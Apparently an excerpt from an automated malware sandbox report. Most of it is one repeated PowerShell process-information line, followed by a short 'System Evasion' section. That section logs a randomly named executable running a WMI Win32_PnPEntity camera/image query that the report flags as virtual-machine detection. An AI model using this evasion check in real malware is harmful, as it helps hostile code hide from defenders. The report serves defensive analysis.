Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
